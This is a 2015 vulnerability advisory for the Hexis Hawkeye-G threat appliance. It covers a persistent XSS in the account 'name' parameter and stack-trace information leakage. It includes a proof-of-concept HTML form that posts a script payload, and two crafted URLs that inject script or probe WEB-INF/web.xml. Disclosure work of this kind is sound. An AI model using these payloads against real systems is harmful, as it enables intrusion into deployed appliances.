扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 |
# Exploit Title: Persistent XSS, Information LeakageIDS / IPS # Google Dork: intitle: Persistent XSS, Information LeakageIDS / IPS # Date: 2015-07-25 # Exploit Author:John Page ( hyp3rlinx ) # Website: hyp3rlinx.altervista.org # Vendor Homepage: www.hexiscyber.com # Software Link:www.hexiscyber.com/products/hawkeye-g # Version:v3.0.1.4912 # Tested on: windows 7 SP1 # Category: Network Threat Appliance IDS / IPS Vendor: ================================ www.hexiscyber.com Product: ================================ Hawkeye-G v3.0.1.4912 Hawkeye G is an active defense disruptive technology that detects, investigates, remediates and removes cyber threats within the network. Vulnerability Type: ============================================= Persistent XSS & Server Information Leakage CVE Reference: ============== N/A Advisory Information: ===================================================================== Persistent XSS: --------------- Hexis cyber Hawkeye-G network threat appliance is vulnerable to persistent XSS injection when adding device accounts to the system. The appliance contains an endpoint sensor that collects client information to report back to the Hawkeye-G web interface. When adding device accounts to the system XSS payloads supplied to the vulnerable id parameter 'name' will be stored in database and executed each time certain threat appliance webpages are visited. Server Information Disclosure: ----------------------------- We can force internal server 500 errors that leak back end information's. Stack traces are echoed out to the end user instead of being suppressed this can give attackers valuable information into the system internals possibly helping attackers in crafting more specific types of attacks. Exploit code(s): =============== Persistent XSS: --------------- <form id="exploit" action=" https://localhost:8443/interface/rest/accounts/json" method="post"> <input type="text" name="human" value="true" /> <input type="text" name="name" value="<script>alert(666)</script>" /> <input type="text" name="domainId" value=""/> <input type="text" name="domain_id" value="" /> <input type="text" name="roving" value="false" /> </form> Accessing URL will execute malicious XSS stored in Hawkeye-G backend database. https://localhost:8443/interface/app/#/account-management vulnerable parameter: 'name' <input placeholder="Name" ng-model="record.name" id="name" class="formeditbox ng-pristine ng-invalid ng-invalid-required ng-touched" name="name" required="" ng-disabled="record.guid"> Server Information Leakage: --------------------------- These examples will result in 500 internal server error info disclosures: 1- https://localhost:8443/interface/rest/threatfeeds/pagedJson?namePattern=&page=0&size=25&sortCol=address&sortDir=%22/%3E%3Cscript%3Ealert%280%29%3C/script%3E 2- https://localhost:8443/interface/rest/mitigationWhitelist/paged?namePattern=WEB-INF/web.xml&page=0&size=0&source-filter= Disclosure Timeline: ========================================================= Vendor Notification: June 30, 2015 July 25, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s):[+] POST & GET Vulnerable Product: [+] Hawkeye-G v3.0.1.4912 Vulnerable Parameter(s):[+] name, namePattern, sortDir Affected Area(s): [+] Network Threat Appliance =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx |
体验盒子
